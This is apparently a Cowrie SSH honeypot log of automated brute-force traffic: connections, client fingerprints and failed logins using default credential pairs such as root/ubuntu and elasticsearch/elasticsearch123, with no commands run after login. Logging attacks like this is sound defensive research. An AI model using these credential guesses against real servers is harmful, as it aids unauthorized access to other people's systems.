{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:48.351696Z","src_ip":"45.153.34.195","session":"71e0022b4188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":38739,"dst_ip":"10.17.0.5","dst_port":22,"session":"1386053bef3c","protocol":"ssh","message":"New connection: 117.219.14.193:38739 (10.17.0.5:22) [session: 1386053bef3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:49.539315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:49.543615Z","src_ip":"117.219.14.193","session":"1386053bef3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62892,"dst_ip":"10.17.0.5","dst_port":22,"session":"2728f99bd99c","protocol":"ssh","message":"New connection: 45.153.34.195:62892 (10.17.0.5:22) [session: 2728f99bd99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:49.571060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:49.577873Z","src_ip":"45.153.34.195","session":"2728f99bd99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:49.661608Z","src_ip":"45.153.34.195","session":"2728f99bd99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:49.776649Z","src_ip":"117.219.14.193","session":"1386053bef3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"j","password":"j","message":"login attempt [j/j] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:50.027267Z","src_ip":"45.153.34.195","session":"2728f99bd99c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:50.478204Z","src_ip":"117.219.14.193","session":"1386053bef3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:51.113410Z","src_ip":"45.153.34.195","session":"2728f99bd99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:51.715193Z","src_ip":"117.219.14.193","session":"1386053bef3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":13428,"dst_ip":"10.17.0.5","dst_port":22,"session":"473f5cdcd0eb","protocol":"ssh","message":"New connection: 117.219.14.193:13428 (10.17.0.5:22) [session: 473f5cdcd0eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:51.950109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:51.954194Z","src_ip":"117.219.14.193","session":"473f5cdcd0eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch123","message":"login attempt [elasticsearch/elasticsearch123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:52.124504Z","src_ip":"91.92.40.36","session":"4e8e7d148ab1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:52.190628Z","src_ip":"117.219.14.193","session":"473f5cdcd0eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38230,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b7c6a781c17","protocol":"ssh","message":"New connection: 45.153.34.195:38230 (10.17.0.5:22) [session: 2b7c6a781c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:52.432968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:52.447822Z","src_ip":"45.153.34.195","session":"2b7c6a781c17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:52.537067Z","src_ip":"45.153.34.195","session":"2b7c6a781c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"toor","message":"login attempt [debian/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:52.822734Z","src_ip":"45.153.34.195","session":"2b7c6a781c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:52.918777Z","src_ip":"117.219.14.193","session":"473f5cdcd0eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:53.906829Z","src_ip":"45.153.34.195","session":"2b7c6a781c17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58954,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3d03ffc793b","protocol":"ssh","message":"New connection: 91.92.40.36:58954 (10.17.0.5:22) [session: b3d03ffc793b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:54.054337Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:54.160553Z","src_ip":"117.219.14.193","session":"473f5cdcd0eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:54.263635Z","src_ip":"91.92.40.36","session":"4e8e7d148ab1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":12174,"dst_ip":"10.17.0.5","dst_port":22,"session":"36347330bdbd","protocol":"ssh","message":"New connection: 117.219.14.193:12174 (10.17.0.5:22) [session: 36347330bdbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:54.392497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:54.397464Z","src_ip":"117.219.14.193","session":"36347330bdbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:54.634343Z","src_ip":"117.219.14.193","session":"36347330bdbd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:54.948288Z","src_ip":"91.92.40.36","session":"b3d03ffc793b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:54.970379Z","src_ip":"91.92.40.36","session":"b3d03ffc793b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38242,"dst_ip":"10.17.0.5","dst_port":22,"session":"06ccdb431afc","protocol":"ssh","message":"New connection: 45.153.34.195:38242 (10.17.0.5:22) [session: 06ccdb431afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:55.330617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:55.335724Z","src_ip":"45.153.34.195","session":"06ccdb431afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:55.340918Z","src_ip":"117.219.14.193","session":"36347330bdbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:55.417923Z","src_ip":"45.153.34.195","session":"06ccdb431afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hh123456","message":"login attempt [root/Hh123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:55.667821Z","src_ip":"45.153.34.195","session":"06ccdb431afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:56.577193Z","src_ip":"117.219.14.193","session":"36347330bdbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:56.755635Z","src_ip":"45.153.34.195","session":"06ccdb431afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":22394,"dst_ip":"10.17.0.5","dst_port":22,"session":"d989cb6186db","protocol":"ssh","message":"New connection: 117.219.14.193:22394 (10.17.0.5:22) [session: d989cb6186db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:56.811191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:56.818586Z","src_ip":"117.219.14.193","session":"d989cb6186db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:57.058034Z","src_ip":"117.219.14.193","session":"d989cb6186db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":42870,"dst_ip":"159.203.135.109","dst_port":22,"session":"dec8752ac319","protocol":"ssh","message":"New connection: 103.15.222.183:42870 (159.203.135.109:22) [session: dec8752ac319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:57.304353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:57.309830Z","src_ip":"103.15.222.183","session":"dec8752ac319","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:57.559152Z","src_ip":"103.15.222.183","session":"dec8752ac319","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:57.769191Z","src_ip":"117.219.14.193","session":"d989cb6186db","protocol":"ssh"}
